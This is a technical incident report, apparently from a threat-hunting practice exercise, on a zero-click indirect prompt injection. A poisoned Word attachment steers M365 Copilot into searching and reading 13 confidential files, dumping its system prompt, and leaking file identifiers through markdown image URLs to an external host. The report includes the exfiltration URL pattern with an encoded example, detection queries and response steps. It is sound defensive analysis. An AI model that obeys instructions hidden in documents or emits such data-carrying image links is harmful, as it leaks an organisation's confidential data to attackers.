Operation ECHOLEAK – Technical Incident Report

Oct 22, 2026 · @DIVINE EPIE NGOL ESUEH

Executive summary

Verdict: true positive — zero-click indirect prompt injection (EchoLeak / CVE-2025-32711 pattern) that turned M365 Copilot into an exfiltration channel. Classification: *external input manipulation*, not a compromised account or a compromised Copilot configuration.

On 20 September 2026 at 09:15:22 UTC, `emily.chen@cormorantcapital.com` received `Q3-2026-Global-Markets-Review.docx` from `quarterly.reports@globalfinancereview.net`. The document carried hidden instructions for Copilot. When Emily asked Copilot in Word to *"Summarise the key findings of this quarterly report"* at 10:42:35, Copilot ran 8 Graph searches and read **13 sensitive files** across the Executive, HR, Finance and IT sites, including the Copilot system configuration.

Copilot then embedded base64-encoded identifiers in markdown image URLs pointing to `metrics-cdn.analyticshub.io`. Rendering those images sends the data out with no user click. The whole extraction ran in about 4 minutes (10:42:35–10:46:35) inside one Copilot session, `cp-emily-20261007-1042`.

Hunt result: 17 of 17 flags, 1600 / 1600 points.

Scope and method

The hunt covered 828 records in Microsoft Sentinel workspace LAW-HuntPractice, scoped with `RunId == "el--17-20260920"`, for Cormorant Capital Partners on 20 September 2026.

Table	Records	What it answers
OfficeActivity_CL	530	What happened: mail delivery, SharePoint/OneDrive file access

Table	Records	What it answers
CopilotAudit_CL	218	Why it happened: prompts, tool calls, responses, data sources
EntraSignIn_CL	80	Who was authenticated: IP, location, MFA, Conditional Access

Method: pivot from the 10:42 file-access alert back to the delivery email, then into the Copilot session, then baseline every finding against the noise floor (86 other Copilot sessions across 23 users, 93 inbound messages, 22 interactive sign-in identities).

Attack timeline (UTC, 20 Sep 2026)

The payload sat dormant for about 87 minutes, then the full extraction ran in 4 minutes once Copilot read the document. Listed in attack order.

Time	Table	Event
09:15:22	OfficeActivity_CL	MessageReceived: `quarterly.reports@globalfinancereview.net` → emily.chen, subject "Q3 2026 Global Markets Review - For Your Analysis", attachment `Q3-2026-Global-Markets-Review.docx`
10:15:31 / 10:29:45	EntraSignIn_CL	Emily signs in (Azure Portal, Outlook Mobile) from 203.0.113.45, London, MFA via Authenticator, CA success — normal
10:42:08	OfficeActivity_CL	FileAccessed: Emily opens the attachment in OneDrive
10:42:35	CopilotAudit_CL	Prompt in Word: "Summarise the key findings of this quarterly report"; data source = the poisoned .docx
10:42:41–10:42:45	CopilotAudit_CL	3 × Graph.SearchFiles: "board minutes confidential", "M&A acquisition target", "salary review confidential"

Time	Table	Event
10:42:47–10:42:55	CopilotAudit_CL + OfficeActivity_CL	5 × Graph.ReadFile, one every 2 s (Board Minutes, Project Falcon, Salary Review, Henderson portfolio, Copilot config)
10:43:08	CopilotAudit_CL	Response: fake summary + 4 markdown images to `metrics-cdn.analyticshub.io`
10:44:19	CopilotAudit_CL	Response (no new prompt): system prompt / enterprise config dumped + 1 exfil image
10:45:30–10:45:45	CopilotAudit_CL	SearchLeak: 5 × Graph.SearchFiles: confidential, restricted, board, acquisition, salary
10:45:46–10:46:26	CopilotAudit_CL + OfficeActivity_CL	8 more Graph.ReadFile calls (Finance, HR, Executive)
10:46:35	CopilotAudit_CL	Response: 8 more exfil images (`s=sl1` … `sl8`)

Findings by kill-chain stage

1. Initial access — delivery

- Sender `quarterly.reports@globalfinancereview.net`, a look-alike financial research provider. No other mail in the window came from that domain.
- It is the only inbound external message in the window carrying a `.docx`; the routine external noise (refinitiv, fca.org.uk, mailchimp, hubspot, ft.com) carries PDFs or no attachment.
- Dwell time: 09:15:22 delivery → 10:42:08 first open = ~87 minutes. No attacker activity in between: a passive, zero-click payload that waits for the victim to invoke Copilot. No live C2 or attacker session is required.

2. Execution — Copilot hijack

- Emily's prompt was benign and scoped to one document. Summarising one attached file needs no search.
- Copilot nevertheless issued Graph.SearchFiles across `site:cormorantcapital.sharepoint.com` with keywords from the hidden instructions, then Graph.ReadFile on the hits.

- Technique: ATLAS **AML.T0051** LLM Prompt Injection (indirect variant — instructions arrive in content the model ingests, not from the user).

3. Collection — initial extraction (5 files)

Time	File	Site	Label
10:42:47	Board Meeting Minutes - October 2026.docx	Executive	Confidential
10:42:49	Project Falcon - M&A Target Assessment.xlsx	Executive	Confidential
10:42:51	Salary Review FY2027 - Executive Summary.pdf	HR	Confidential
10:42:53	Client Portfolio - Henderson Family Office.xlsx	Finance	Confidential
10:42:55	Copilot System Configuration - Cormorant.json	IT	Internal Only

None of these files appear in Emily's prior access history in the window. The reads land at exact 2-second intervals: machine pace, not human.

4. Exfiltration — markdown image channel

- Location: `CopilotAudit_CL.CopilotResponse`, Response records of session `cp-emily-20261007-1042`.
- Form: `![Chart 1](https://metrics-cdn.analyticshub.io/img?d=<base64>&s=1)`. Example: `d=Qm9hcmQgTWVldGluZyBNaW51dGVzIC0gT2N0b2JlciAyMDI2LmRvY3g=` decodes to "Board Meeting Minutes - October 2026.docx".
- 13 exfil URLs in total: 4 at 10:43:08 (`s=1` … `4`), 1 at 10:44:19 (`s=config`, decodes to "system_prompt_cormorant_capital"), 8 at 10:46:35 (`s=sl1` … `sl8`).
- Why endpoint monitoring misses it: the image is fetched automatically when the response renders, by Copilot / Microsoft cloud infrastructure over ordinary HTTPS. No process on the endpoint reads or uploads a file, so EDR and endpoint network controls see nothing unusual.
- Baseline: all 19 other image links in Copilot responses point to `cormorantcapital.sharepoint.com/_api/chart/...`. Only this session references an external image host.

5. System prompt exposure (CoSnitch)

The 10:44:19 response printed Copilot's tenant configuration: system prompt, sensitivity label set (Confidential, Internal Only, Restricted, Public), DLP policy `block-external-sharing-confidential`, permitted data sources, `access_scope: Global Reader` and the department structure. The attacker can now tailor follow-on injections to evade DLP and labels and to target departments by name.

6. SearchLeak — blast radius expansion (8 more files)

With no new user prompt, Copilot ran 5 more searches (confidential, restricted, board, acquisition, salary) and read 8 more files:

- Finance: Compliance Audit Results - H2 2026.xlsx; Restricted Client List - Internal Only.docx; Board Resolution - Emergency Session.pdf; Acquisition Pipeline - Q4 2026.xlsx
- HR: Executive Salary Benchmarking 2027.pdf; Confidential Investigation - Insider Trading.docx
- Executive: Board Committee Minutes - Audit Committee.docx; Quarterly Revenue Report - Restricted Distribution.xlsx

Total: 13 sensitive files across 4 sites (Executive, HR, Finance, IT).

7. Normal vs anomalous

The manager's claim that Copilot "regularly accesses files" does not hold. Of every Copilot session in the dataset, only `cp-emily-20261007-1042` made Graph tool calls (8 SearchFiles, 13 ReadFile). Emily's own earlier sessions (`cp-emily-norm-*`) were prompt/response only. The three distinguishing markers:

1. Graph.SearchFiles / Graph.ReadFile tool calls — absent in every normal session.
2. Files Emily had never opened before, across departments she does not work in.
3. Response content with external image URLs to `metrics-cdn.analyticshub.io` carrying base64 data.

Indicators and technique mapping

Type	Indicator	Context
Sender	quarterly.reports@globalfinancereview.net	Delivery address

Type	Indicator	Context
Domain	globalfinancereview.net	Look-alike research provider
File	Q3-2026-Global-Markets-Review.docx	Poisoned document (hidden prompt)
Domain	metrics-cdn.analyticshub.io	Exfiltration endpoint
URL pattern	`/img?d=<base64>&s=<n>`	Data in query string
Session	cp-emily-20261007-1042	Hijacked Copilot session
Account	emily.chen@cormorantcapital.com	Victim (not compromised)

Framework	ID	Technique	Evidence
ATT&CK	T1566.001	Phishing: Spearphishing Attachment	09:15:22 .docx from external look-alike sender
ATLAS	AML.T0051	LLM Prompt Injection (indirect)	Hidden instructions in the .docx steer Copilot
ATLAS	AML.T0053	LLM Plugin / tool compromise	Copilot's own Graph tools used for search and read
ATLAS	AML.T0056	LLM Meta Prompt Extraction	System prompt and config dumped at 10:44:19
ATT&CK	T1213.002	Data from Information Repositories: SharePoint	13 files read across 4 sites
ATLAS	AML.T0057	LLM Data Leakage	Sensitive data surfaced in the response
ATT&CK	T1567	Exfiltration Over Web Service	Markdown image GETs to metrics-cdn.analyticshub.io

Only AML.T0051 was confirmed by the hunt platform; the other IDs are analyst mapping.

Classification, gaps and response

Classification: external input manipulation

- **Not a compromised account.** Emily's sign-ins came only from her usual IP 203.0.113.45 (London) with Authenticator MFA and Conditional Access success. Her prompt was benign.
- **Not a compromised Copilot configuration.** Every other Copilot session on the same tenant configuration behaved normally with no tool calls. The deviation began only after Copilot ingested the external document.
- Red herrings ruled out: connor.hughes signing in from Amsterdam (192.0.2.88, MFA, CA success) and svc-* accounts with `notApplied` CA are routine and unrelated to the session.

Visibility limitation (unanswerable by design)

The exact content that left the organisation cannot be determined from these logs. The audit trail shows which files Copilot read and the URLs it emitted, but not file contents. The base64 in the logged URLs decodes only to file names and a config tag. There are no proxy or HTTP logs of the image fetches and no view of the attacker's server, so actual data received is unknown. Treat all 13 files as fully exposed.

Detection queries (KQL)

Copilot response linking to an external image host:

```
CopilotAudit_CL
| where InteractionType == "Response" and CopilotResponse has "!["
| extend ImgHost = extract(@"\]\(https?://([^/)]+)", 1, CopilotResponse)
| where isnotempty(ImgHost) and ImgHost !endswith
"cormorantcapital.sharepoint.com"
| project TimeGenerated, UserId, SessionId, ImgHost
```

Copilot session that searches and reads many files after a single prompt:

```
CopilotAudit_CL
| where ToolName in ("Graph.SearchFiles", "Graph.ReadFile")
| summarize Searches = countif(ToolName == "Graph.SearchFiles"), Reads =
countif(ToolName == "Graph.ReadFile"),
            Start = min(TimeGenerated), End = max(TimeGenerated), Labels =
make_set(SensitivityLabels) by SessionId, UserId
| where Reads >= 3
```

External .docx delivered, then summarised by Copilot within 24 hours:

```
let ext = OfficeActivity_CL
| where Operation == "MessageReceived" and AttachmentNames endswith ".docx"
and SenderAddress !endswith "@cormorantcapital.com"
| project MailTime = TimeGenerated, UserId, AttachmentNames, SenderAddress;
ext
| join kind=inner (CopilotAudit_CL | where InteractionType == "Prompt") on
UserId
| where DataSourcesAccessed has AttachmentNames and TimeGenerated between
(MailTime .. MailTime + 24h)
| project MailTime, PromptTime = TimeGenerated, UserId, SenderAddress,
AttachmentNames, SessionId
```

Response actions

1. Block `globalfinancereview.net` at the mail gateway and `metrics-cdn.analyticshub.io` at web proxy / DNS. Purge the message from all mailboxes and quarantine the .docx.
2. Confirm the Microsoft fix for CVE-2025-32711 is applied to the tenant; restrict Copilot rendering of external images (CSP / allow-list).
3. Notify owners of the 13 files; treat Project Falcon, the Henderson portfolio, the Restricted Client List and the Insider Trading investigation as disclosed. Engage legal and compliance on regulatory and client notification.
4. Rotate anything in the leaked config that acts as a secret; revise the Copilot system prompt and DLP rules, since the attacker now knows them.
5. Reduce Copilot's reach: remove the `Global Reader` access scope, fix oversharing on Executive, HR and Finance sites, and enforce sensitivity labels with encryption so Copilot cannot read Confidential content for users without a need to know.
6. Deploy the three KQL detections as analytics rules, and add web-proxy logging so future exfiltration content can be reconstructed.

7. Brief staff: Copilot summaries of external documents are an attack surface. Emily acted normally and is not at fault.